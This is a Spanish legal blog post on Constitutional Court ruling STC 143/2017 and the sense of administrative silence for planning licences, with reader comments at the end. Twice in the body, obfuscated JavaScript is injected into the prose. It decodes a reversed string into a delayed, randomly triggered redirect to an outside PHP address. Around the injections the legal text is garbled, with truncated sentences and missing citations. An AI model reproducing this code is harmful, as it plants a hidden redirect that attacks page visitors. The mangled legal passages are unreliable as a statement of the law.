STC 143/2017 (3): El sentido de los silencios de las licencias
Y la posible evolución pendular.
En el tercer post de esta serie dedicado al impacto de la STC 143/2017 abordamos un aspecto que ha generado mucha controversia a lo largo de los años y las leyes (al menos en tiempos recientes, LS07, $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley de Suelo (versión 2013)” href=”http://boe.es/buscar/act.php?id=BOE-A-2008-10792&tn=1&p=20130627″ target=”_blank”>TRLS13 y ahora torizaciones solicitadas por el interesado.
Paralelamente, debemos recordar que el artículo
Y que así mismo, el artículo tos iniciados a solicitud del interesado) establece que, Pues así las cosas, en el seno de la STC 143/2017 se ha venido a analizar la constitucionalidad de la regulación del sentido del silencio para determinadas licencias o autorizaciones ($NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley de Suelo y Rehabilitación Urbana” href=”https://www.boe.es/buscar/act.php?id=BOE-A-2015-11723#a11″ target=”_blank”>TRLSR 11.4): 4. Con independencia de lo establecido en el apartado anterior, serán expresos, con silencio administrativo negativo, los actos que autoricen: a) Movimientos de tierras, explanaciones, parcelaciones, segregaciones u otros actos de división de fincas en cualquier clase de suelo, cuando no formen parte de un proyecto de reparcelación. b) Las obras de edificación, construcción e implantación de instalaciones de nueva planta. c) La ubicación de casas prefabricadas e instalaciones similares, ya sean provisionales o permanentes. d) La tala de masas arbóreas o de vegetación arbustiva en terrenos incorporados a procesos de transformación urbanística y, en todo caso, cuando dicha tala se derive de la legislación de protección del dominio público. Para ello se ha basado en los siguientes criterios: De manera resumida cabe establecer el siguiente cuadro de regulaciones y sentido del silencio administrativo de las licencias o autorizaciones, en el caso de las que han pasado el canon de constitucionalidad. Regulación del caso de Euskadi En el caso de Euskadi, los to que no tiene presente la regulación del procedimiento administrativo común vigente, ni en la forma, ni el fondo. Artículo 210. Procedimiento general de otorgamiento de licencia urbanística. Artículo 211. Efectos del otorgamiento de la licencia urbanística. Por tanto, la patata caliente se traslada a los ayuntamientos que, ante la anulación parcial de la regulación estatal y la falta de regulación por parte del competente, son los que tendrán que regular esta materia en sus respectivas ordenanzas en base a lo subsistente del TS
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Natxo Tejerina
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Muy bien, Natxo por aclarar esta sentencia tan compleja del TS, como todas.
Pero las parcelaciones no deberían estar en el segundo grupo que has ordenado?.
Creo que así aparece corregido en el Código urbanístico del BOE.
Hola Borja. Efectivamente tienes razón las parcelaciones quedan a lo que dispongan las CC.AA. en ambas situaciones. Se nos ha colado al transcribir a la tabla las consideraciones del FJ23 de la Sentencia. Gracias por el apunte. Un saludo, Alvaro.
Me ha gustado mucho el artículo. Tras la lectura me surge una duda, se hace mención expresa a obras de nueva planta, pero cuando se trata de obras de rehabilitación, entiendo que no se podría incluir en el 11.4.b. ¿ Cómo lo interpretas?
Hola Juan. Muchas gracias por tu comentario.
Como señalas, entiendo que las obras de rehabilitación no encajarían en el TRLSR 11.4.b y será una cuestión de las legislación autonómica (el sentido del silencio).
Un saludo, Alvaro.